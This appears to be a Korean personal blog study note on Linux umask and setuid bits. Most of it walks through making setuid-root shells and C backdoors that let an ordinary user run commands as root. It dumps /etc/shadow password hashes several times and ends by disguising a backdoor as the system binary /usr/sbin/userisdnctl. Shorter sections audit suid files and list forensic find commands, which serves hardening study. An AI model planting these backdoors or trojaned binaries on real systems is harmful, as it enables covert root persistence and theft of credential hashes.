본문 바로가기

해봐야 안다.OTL/Linux

리눅스_backdoor

umask --> 파일 또는 폴더 생성 시 기본 적용 마스크값

 

루트유저의 기본 umask값 : 022

일반유저 :002

 

기본 파일 생성시 적용 되는 값 : 666

디렉터리 생성시 적용되는 값 : 777

 

파일 생성시 : 666 - 022 = 644 rw-r--r--

폴더 생성시 : 777 - 022 = 755 rwxr-xr-x

 

#권한을 넘치게 줘서 해킹의 위험이 있다..

 

 

setUID : 숫자표현 -> 4000

setGID --> 2000

스티키 비트 --> 1000

 

<ksh의 취약점>

[root@centa:~]#cd /tmp/

[root@centa:/tmp]#cp /bin/ksh /tmp/ksh

 

[root@centa:/tmp]#ls -la ksh

-rwxr-xr-x 1 root root 1094052 Nov 2 02:39 ksh

[root@centa:/tmp]#chmod 4755 ksh

[root@centa:/tmp]#ls -la ksh

-rwsr-xr-x 1 root root 1094052 Nov 2 02:39 ksh

 

[root@centa:/tmp]#su - user1

[user1@centa:~]$id

uid=500(user1) gid=500(user1) groups=500(user1) context=user_u:system_r:unconfined_t

[user1@centa:~]$

 

[user1@centa:~]$cd /tmp/

[user1@centa:/tmp]$ls -l ksh

-rwsr-xr-x 1 root root 1094052 Nov 2 02:39 ksh

[user1@centa:/tmp]$./ksh

 

# id

uid=500(user1) gid=500(user1) euid=0(root) groups=500(user1) context=user_u:system_r:unconfined_t

 

# cat /etc/shadow à /etc/shadow 파일을 볼 수 있다.

root:$1$cijhp0XI$SgbRm6I9Puq0r.pMkXP0t/:14507:0:99999:7:::

bin:*:14507:0:99999:7:::

daemon:*:14507:0:99999:7:::

adm:*:14507:0:99999:7:::

lp:*:14507:0:99999:7:::

sync:*:14507:0:99999:7:::

shutdown:*:14507:0:99999:7:::

halt:*:14507:0:99999:7:::

mail:*:14507:0:99999:7:::

news:*:14507:0:99999:7:::

uucp:*:14507:0:99999:7:::

operator:*:14507:0:99999:7:::

games:*:14507:0:99999:7:::

gopher:*:14507:0:99999:7:::

ftp:*:14507:0:99999:7:::

nobody:*:14507:0:99999:7:::

rpc:!!:14507:0:99999:7:::

mailnull:!!:14507:0:99999:7:::

smmsp:!!:14507:0:99999:7:::

nscd:!!:14507:0:99999:7:::

vcsa:!!:14507:0:99999:7:::

rpcuser:!!:14507:0:99999:7:::

nfsnobody:!!:14507:0:99999:7:::

sshd:!!:14507:0:99999:7:::

pcap:!!:14507:0:99999:7:::

dbus:!!:14507:0:99999:7:::

haldaemon:!!:14507:0:99999:7:::

avahi:!!:14507:0:99999:7:::

hsqldb:!!:14507:0:99999:7:::

avahi-autoipd:!!:14507:0:99999:7:::

xfs:!!:14507:0:99999:7:::

user1:$1$HPNHm/jo$rtXOERYHTPnp6HwBJD95z/:14507:0:99999:7:::

named:!!:14507::::::

dovecot:!!:14507::::::

sakura:$1$MjY6zlTt$upcQl67BGgXoNyJzlTNGN0:14507:0:99999:7:::

userb:$1$sGOJxYN/$6siPWWuE/k.lvh63V05ao0:14544:0:99999:7:::

 

<bash는 바뀌지 않는다.>

[root@centa:/tmp]#cp /bin/bash ./

[root@centa:/tmp]#ls -la bash

-rwxr-xr-x 1 root root 735004 Nov 2 02:48 bash

[root@centa:/tmp]#chmod 4755 bash

[root@centa:/tmp]#ls -la bash

-rwsr-xr-x 1 root root 735004 Nov 2 02:48 bash

[root@centa:/tmp]#

 

[user1@centa:~]$cd /tmp/

[user1@centa:/tmp]$ls -l bash

-rwsr-xr-x 1 root root 735004 Nov 2 02:48 bash

[user1@centa:/tmp]$./bash

bash-3.2$ id

uid=500(user1) gid=500(user1) groups=500(user1) context=user_u:system_r:unconfined_t

bash-3.2$

 

#./bash

bash-3.2$ id

uid=500(user1) gid=500(user1) groups=500(user1) context=user_u:system_r:unconfined_t

 

bash-3.2$ cat /etc/shadow

cat: /etc/shadow: Permission denied 

 

<backdoor 생성>

[root@centa:/tmp]#vi backdoor.c

#include<stdio.h>

main() {

setuid(0);

setgid(0);

system("/bin/sh");

}

:wq

 

[root@centa:/tmp]#ls -la back*

-rw-r--r-- 1 root root 73 Nov 2 02:56 backdoor.c 

 

[root@centa:/tmp]#gcc -o backdoor backdoor.c à 컴파일

[root@centa:/tmp]#ls -la back*

-rwxr-xr-x 1 root root 4930 Nov 2 03:01 backdoor

-rw-r--r-- 1 root root 73 Nov 2 02:56 backdoor.c

 

[root@centa:/tmp]#chmod 4755 backdoor

[root@centa:/tmp]#ls -la back*

-rwsr-xr-x 1 root root 4930 Nov 2 03:01 backdoor

-rw-r--r-- 1 root root 73 Nov 2 02:56 backdoor.c

 

[root@centa:/tmp]#su - user1

[user1@centa:~]$cd /tmp/

[user1@centa:/tmp]$./backdoor

sh-3.2# id à root 쉘로 바뀌었다.

 

uid=0(root) gid=0(root) groups=500(user1) context=user_u:system_r:unconfined_t

à 계정 정보를 보면 root 권한을 획득한 것을 알 수 있다.

sh-3.2#

 

<"vim editor"를 "backdoor"로 만들기>

sh-3.2# vi backdoor2.c

#include <stdio.h>

main() {

setuid(0);

setgid(0);

system("/bin/vi");

}

:wq

 

sh-3.2# gcc -o backdoor2 backdoor2.c

sh-3.2# ls -la back*2*

-rwxrwxr-x 1 root root 4931 Nov 2 03:13 backdoor2

-rw-rw-r-- 1 root root 74 Nov 2 03:11 backdoor2.c

sh-3.2# chmod 4755 backdoor2 

 

sh-3.2# su - user1 à 일반 계정으로 접속하여 "root" 권한으로 볼 수 있는 "/etc/shadow"파일을 열어 보자.

[user1@centa:~]$

[user1@centa:~]$cd /tmp

[user1@centa:/tmp]$./backdoor2

à vi editor가 켜진 후 명령 모드에 다음과 같이 입력한다.

:!cat /etc/shadow

 

:!cat /etc/shadow

root:$1$cijhp0XI$SgbRm6I9Puq0r.pMkXP0t/:14507:0:99999:7:::

bin:*:14507:0:99999:7:::

daemon:*:14507:0:99999:7:::

adm:*:14507:0:99999:7:::

lp:*:14507:0:99999:7:::

sync:*:14507:0:99999:7:::

shutdown:*:14507:0:99999:7:::

halt:*:14507:0:99999:7:::

mail:*:14507:0:99999:7:::

news:*:14507:0:99999:7:::

uucp:*:14507:0:99999:7:::

operator:*:14507:0:99999:7:::

games:*:14507:0:99999:7:::

gopher:*:14507:0:99999:7:::

ftp:*:14507:0:99999:7:::

nobody:*:14507:0:99999:7:::

rpc:!!:14507:0:99999:7:::

mailnull:!!:14507:0:99999:7:::

smmsp:!!:14507:0:99999:7:::

nscd:!!:14507:0:99999:7:::

vcsa:!!:14507:0:99999:7:::

rpcuser:!!:14507:0:99999:7:::

nfsnobody:!!:14507:0:99999:7:::

sshd:!!:14507:0:99999:7:::

pcap:!!:14507:0:99999:7:::

dbus:!!:14507:0:99999:7:::

haldaemon:!!:14507:0:99999:7:::

avahi:!!:14507:0:99999:7:::

hsqldb:!!:14507:0:99999:7:::

avahi-autoipd:!!:14507:0:99999:7:::

xfs:!!:14507:0:99999:7:::

user1:$1$HPNHm/jo$rtXOERYHTPnp6HwBJD95z/:14507:0:99999:7:::

named:!!:14507::::::

dovecot:!!:14507::::::

sakura:$1$MjY6zlTt$upcQl67BGgXoNyJzlTNGN0:14507:0:99999:7:::

userb:$1$sGOJxYN/$6siPWWuE/k.lvh63V05ao0:14544:0:99999:7:::

à 이렇게 /etc/shadow 의 내용을 볼 수 있다.

 

< "argument"를 주고 명령어를 실행하는 "backdoor">

sh-3.2# vi backdoor3.c

#include <stdio.h>

main (int argc, char* argv[]){

char exec[100];

setuid(0);

setgid(0);

sprintf(exec, "%s 2>/dev/null", argv[1]);

system(exec);

}

:wq

 

sh-3.2# gcc -o backdoor3 backdoor3.c

sh-3.2# ls -la back*3*

-rwxrwxr-x 1 root root 5058 Nov 2 03:26 backdoor3

-rw-rw-r-- 1 root root 151 Nov 2 03:25 backdoor3.c

sh-3.2# chmod 4755 backdoor3

 

sh-3.2# ls -la back*3*

-rwsr-xr-x 1 root root 5058 Nov 2 03:26 backdoor3

-rw-rw-r-- 1 root root 151 Nov 2 03:25 backdoor3.c 

 

sh-3.2# su - user1

[user1@centa:~]$cd /tmp

 

[user1@centa:/tmp]$./backdoor3 "ls -l"

total 1876

-rwsr-xr-x 1 root root 4930 Nov 2 03:01 backdoor

-rwsr-xr-x 1 root root 4931 Nov 2 03:13 backdoor2

-rw-rw-r-- 1 root root 74 Nov 2 03:11 backdoor2.c

-rwsr-xr-x 1 root root 5058 Nov 2 03:26 backdoor3

-rw-rw-r-- 1 root root 151 Nov 2 03:25 backdoor3.c

-rw-r--r-- 1 root root 73 Nov 2 02:56 backdoor.c

-rwsr-xr-x 1 root root 735004 Nov 2 02:48 bash

-rwsr-xr-x 1 root root 1094052 Nov 2 02:39 ksh

drwx------ 2 user1 user1 4096 Nov 2 03:22 ssh-jDIkdK3583 

 

[user1@centa:/tmp]$./backdoor3 "id"

uid=0(root) gid=0(root) groups=500(user1) context=user_u:system_r:unconfined_t

 

[user1@centa:/tmp]$id

uid=500(user1) gid=500(user1) groups=500(user1) context=user_u:system_r:unconfined_t

 

[user1@centa:/tmp]$cat /etc/shadow

cat: /etc/shadow: Permission denied

 

[user1@centa:/tmp]$./backdoor3 "cat /etc/shadow" à root 권한으로 볼 수 있다.

root:$1$cijhp0XI$SgbRm6I9Puq0r.pMkXP0t/:14507:0:99999:7:::

bin:*:14507:0:99999:7:::

daemon:*:14507:0:99999:7:::

adm:*:14507:0:99999:7:::

lp:*:14507:0:99999:7:::

sync:*:14507:0:99999:7:::

shutdown:*:14507:0:99999:7:::

halt:*:14507:0:99999:7:::

mail:*:14507:0:99999:7:::

news:*:14507:0:99999:7:::

uucp:*:14507:0:99999:7:::

operator:*:14507:0:99999:7:::

games:*:14507:0:99999:7:::

gopher:*:14507:0:99999:7:::

ftp:*:14507:0:99999:7:::

nobody:*:14507:0:99999:7:::

rpc:!!:14507:0:99999:7:::

mailnull:!!:14507:0:99999:7:::

smmsp:!!:14507:0:99999:7:::

nscd:!!:14507:0:99999:7:::

vcsa:!!:14507:0:99999:7:::

rpcuser:!!:14507:0:99999:7:::

nfsnobody:!!:14507:0:99999:7:::

sshd:!!:14507:0:99999:7:::

pcap:!!:14507:0:99999:7:::

dbus:!!:14507:0:99999:7:::

haldaemon:!!:14507:0:99999:7:::

avahi:!!:14507:0:99999:7:::

hsqldb:!!:14507:0:99999:7:::

avahi-autoipd:!!:14507:0:99999:7:::

xfs:!!:14507:0:99999:7:::

user1:$1$HPNHm/jo$rtXOERYHTPnp6HwBJD95z/:14507:0:99999:7:::

named:!!:14507::::::

dovecot:!!:14507::::::

sakura:$1$MjY6zlTt$upcQl67BGgXoNyJzlTNGN0:14507:0:99999:7:::

userb:$1$sGOJxYN/$6siPWWuE/k.lvh63V05ao0:14544:0:99999:7::: 

 

<suid, sgid 파일 점검>

à 일반 유저 권한으로 suid, sgid가 설정된 파일을 실행할 떄에는 해당 파일의 소유자 또는

소유그룹 권한으로 작동하게 되므로 정기적으로 시스템에서 suid, sgid가 설정된 파일을 모니터링하여

suid, sgid가 불 필요하면 삭제하거나 s비트를 해제하는 것이 좋다.<참고:리눅스 서버 보안관리 실무_P.35>

 

[root@centa:~]#find / -type f \( -perm -4000 -o -perm -2000 \)

à "/"에서 suid(4000), sgid(2000)가 설정된 파일을 검색

/lib/dbus-1/dbus-daemon-launch-helper

/sbin/umount.nfs4

/sbin/mount.nfs

/sbin/pam_timestamp_check

/sbin/umount.nfs

/sbin/unix_chkpwd

/sbin/netreport

/sbin/mount.nfs4

/bin/mount

/bin/ping6

/bin/su

/bin/umount

/bin/ping

/tmp/ksh

/tmp/backdoor2

/tmp/bash

/tmp/backdoor3

/tmp/backdoor

…………………………….

 

[root@centa:~]#find / -type f -perm +6000 -ls

1115006 52 -rwsr-x--- 1 root dbus 45148 Jan 21 2009 /lib/dbus-1/dbus-daemon-launch-helper

622798 80 -rwsr-xr-x 1 root root 70776 Jan 21 2009 /sbin/umount.nfs4

622793 80 -rwsr-xr-x 1 root root 70772 Jan 21 2009 /sbin/mount.nfs

622707 16 -rwsr-xr-x 1 root root 12248 Jan 22 2009 /sbin/pam_timestamp_check

622797 80 -rwsr-xr-x 1 root root 70776 Jan 21 2009 /sbin/umount.nfs

622708 24 -rwsr-xr-x 1 root root 19184 Jan 22 2009 /sbin/unix_chkpwd

622771 12 -rwxr-sr-x 1 root root 5920 Mar 6 2009 /sbin/netreport

622794 80 -rwsr-xr-x 1 root root 70776 Jan 21 2009 /sbin/mount.nfs4

332107 68 -rwsr-xr-x 1 root root 58324 Jan 21 2009 /bin/mount

327697 36 -rwsr-xr-x 1 root root 31244 Jan 21 2009 /bin/ping6

327734 28 -rwsr-xr-x 1 root root 23960 Jan 21 2009 /bin/su

327682 44 -rwsr-xr-x 1 root root 38936 Jan 21 2009 /bin/umount

327696 40 -rwsr-xr-x 1 root root 35864 Jan 21 2009 /bin/ping

…………………………….

 

[root@centa:~]#find / -perm 4755 |more

find: /proc/20772/task/20772/fd/4: No such file or directory

find: /proc/20772/fd/4: No such file or directory

/sbin/umount.nfs4

/sbin/mount.nfs

/sbin/pam_timestamp_check

/sbin/umount.nfs

/sbin/unix_chkpwd

/sbin/mount.nfs4

/bin/mount

/bin/ping6

/bin/su

/bin/umount

/bin/ping

………………………………

 

<suid, sgid파일들>

/usr/bin/chage (suid)

à user의 암호 만기일 정보를 변경 또는 조회하는 명령어 [s비트 헤제]

/usr/bin/gpasswd (suid)

à /etc/group, /etc/gshadow 파일을 관리할 떄 사용되는 명령어 [필요없음. ]

/usr/bin/wall (sgid)

à 터미널에 연결되어 있는 유저들에게 메시지를 보낼 떄 사용 [s비트 헤제]

/usr/bin/chfn (suid)

à finger로 질의 시 보이는 정보를 변경하는 명령어 [필요없음. ]

/usr/bin/chsh (suid)

à bash, csh 등 로그인시 실행되는 쉘을 변경하는 명령어 [쉘을 변경할 필요가 없다면 필요없음. ]

/usr/bin/newgrp (suid)

à 새로운 그룹으로 로그인하는 명령어 [필요없음. ]

/usr/bin/write (sgid)

à talk 와 같이 다른 유저에게 메시지를 보내는 명령어 [필요없음. ]

/usr/bin/at (suid)

à cron과 같이 반복적인 작업을 할 때 사용 at 자체가 cron에 비해 보안 결함이 있고 잘 사용되지 않는다. [필요없음. ]

/usr/sbin/usernetctl (suid)

à 일반 유저가 인터페이스를 제어하도록 하는 명령어 [필요없음. ]

/usr/sbin/userhelper (suid)

à gui를 통해 암호를 관리하고자 할 떄 필요한데 서버 운영 시 GUI자체가 보안상 문제가 될 수 있으므로 [필요없음. ]

/bin/mount ,/bin/umount (suid)

à 파일 시스템을 마운트 할 때 필요. 일반 유저에게 마운트 권한을 줄 필요가 없다. [s비트 헤제]

/usr/sbin/lockdev (sgid)

à devices를 잠글 때 필요, lock이라는 그룹 권한으로 설정되어 있는데, 그대로 둔다.

/bin/ping (suid)

à 일반 유저에게 ping 을 허용하려면 suid를 그대로 유지, ping을 금지하려면 suid를 해제

/usr/sbin/traceroute (suid)

à 네트워크 경로를 추적하는 명령어 이 것도 일반 유저에게 허용하려면 그대로 나두고 금지하려면 suid를 해제

/usr/bin/passwd (suid)

à 자신의 암호 변경시 사용, 755로 변경하면 root만이 암호를 변경할 수 있게 됨.

/usr/bin/crontab (suid)

à 마음대로…

 

<s_bit해제>

<suid가 설정된 파일에서 user에 설정된 s_bit를 헤제하는 명령>

#chmod u-s /usr/bin/"suid_file" 반대: #chmod u+s /usr/bin/"suid_file"

#chmod 0700 /usr/sbin/"suid_file" or chmod 700 /usr/sbin/"suid_file"

 

<sgid가 설정된 파일에서 group에 설정된 s_bit를 헤제하는 명령>

#chmod g-s /usr/bin/"suid_file" 반대: #chmod g+s /usr/bin/"suid_file"

#chmod 0700 /usr/sbin/"sgid_file" or chmod 700 /usr/sbin/"sgid_file"

 

<해킹 당한 시스템을 분석하기 위한 유용한 명령어>

#find ./ -name "*" –exec grep –H hack {} \;

#find ./ -type f –print | xargs grep –H "hack" /dev/null

#find ./ type f –exec grep 'hack' {} /dev/null \;

 

#egrep –r hack *

à 현재 디렉토리에서 하위 디렉토리까지 "hack"이라는 문자가 포함된 파일을 찾아줌.

 

#find / -user 427 –print

à 소유자의 udi가 427인 파일들을 보여줌.(일반 유저 계정은 "uid", "gid"가 보통 500번 대에서 시작)

 

#find / -cmin -5

à 최근 5분 안에 생성되거나 업데이트 된 파일들을 보여줌.

 

#find / -perm -0002 –type d –print

à 일반 유저가 쓰기 권한이 있는 디렉토리를 보여줌.

 

#find / -perm -0002 –type f –print

à 일반 유저가 쓰기 권한이 있는 파일을 보여줌.

 

#find / -nouser –o –nogroup –print

à 유저나 그룹이 없는 파일을 보여줌.

 

#find / -mtime 2 –o –ctime 2

à 지난 2일 사이에 변경된 파일을 보여줌

.

<"backdoor" 숨기는 방법>

à 잘 사용하지 않는 setuid가 붙은 명령어를 사용.

[root@centa:/tmp]#userisdnctl

usage: userisdnctl <interface-config> <dial|hangup|status|report> à 복사

 

[root@centa:/tmp]#vi backdoor3.c

#include <stdio.h>

main (int argc, char* argv[]){

char exec[100];

setuid(0);

setgid(0);

sprintf(exec, "%s 2>/dev/null", argv[1]);

system(exec);

printf("usage: userisdnctl <interface-config> <dial|hangup|status|report> \n");

}

:wq

 

[root@centa:/tmp]#gcc -o userisdnctl backdoor3.c

[root@centa:/tmp]#./userisdnctl

usage: userisdnctl <interface-config> <dial|hangup|status|report>

[root@centa:/tmp]#mv /usr/sbin/userisdnctl /usr/sbin/userisdnctl-bak à 백업

 

[root@centa:/tmp]#chmod 4755 userisdnctl

[root@centa:/tmp]#mv userisdnctl /usr/sbin/userisdnctl

 

[root@centa:/tmp]#su - user1

[user1@centa:~]$/usr/sbin/userisdnctl

usage: userisdnctl <interface-config> <dial|hangup|status|report>  

 

[user1@centa:~]$/usr/sbin/userisdnctl "cat /etc/shadow"

à 일반 계정으로 열어 볼 수 없는 "/etc/shadow" 파일을 볼 수 있다.

root:$1$cijhp0XI$SgbRm6I9Puq0r.pMkXP0t/:14507:0:99999:7:::

bin:*:14507:0:99999:7:::

daemon:*:14507:0:99999:7:::

adm:*:14507:0:99999:7:::

lp:*:14507:0:99999:7:::

sync:*:14507:0:99999:7:::

shutdown:*:14507:0:99999:7:::

halt:*:14507:0:99999:7:::

mail:*:14507:0:99999:7:::

news:*:14507:0:99999:7:::

uucp:*:14507:0:99999:7:::

operator:*:14507:0:99999:7:::

games:*:14507:0:99999:7:::

gopher:*:14507:0:99999:7:::

ftp:*:14507:0:99999:7:::

nobody:*:14507:0:99999:7:::

rpc:!!:14507:0:99999:7:::

mailnull:!!:14507:0:99999:7:::

smmsp:!!:14507:0:99999:7:::

nscd:!!:14507:0:99999:7:::

vcsa:!!:14507:0:99999:7:::

rpcuser:!!:14507:0:99999:7:::

nfsnobody:!!:14507:0:99999:7:::

sshd:!!:14507:0:99999:7:::

pcap:!!:14507:0:99999:7:::

dbus:!!:14507:0:99999:7:::

haldaemon:!!:14507:0:99999:7:::

avahi:!!:14507:0:99999:7:::

hsqldb:!!:14507:0:99999:7:::

avahi-autoipd:!!:14507:0:99999:7:::

xfs:!!:14507:0:99999:7:::

user1:$1$HPNHm/jo$rtXOERYHTPnp6HwBJD95z/:14507:0:99999:7:::

named:!!:14507::::::

dovecot:!!:14507::::::

sakura:$1$MjY6zlTt$upcQl67BGgXoNyJzlTNGN0:14507:0:99999:7:::

userb:$1$sGOJxYN/$6siPWWuE/k.lvh63V05ao0:14544:0:99999:7:::

usage: userisdnctl <interface-config> <dial|hangup|status|report> 

 

[user1@centa:~]$cat /etc/shadow

cat: /etc/shadow: Permission denied à 그냥 하면 권한이 없다고 나온다.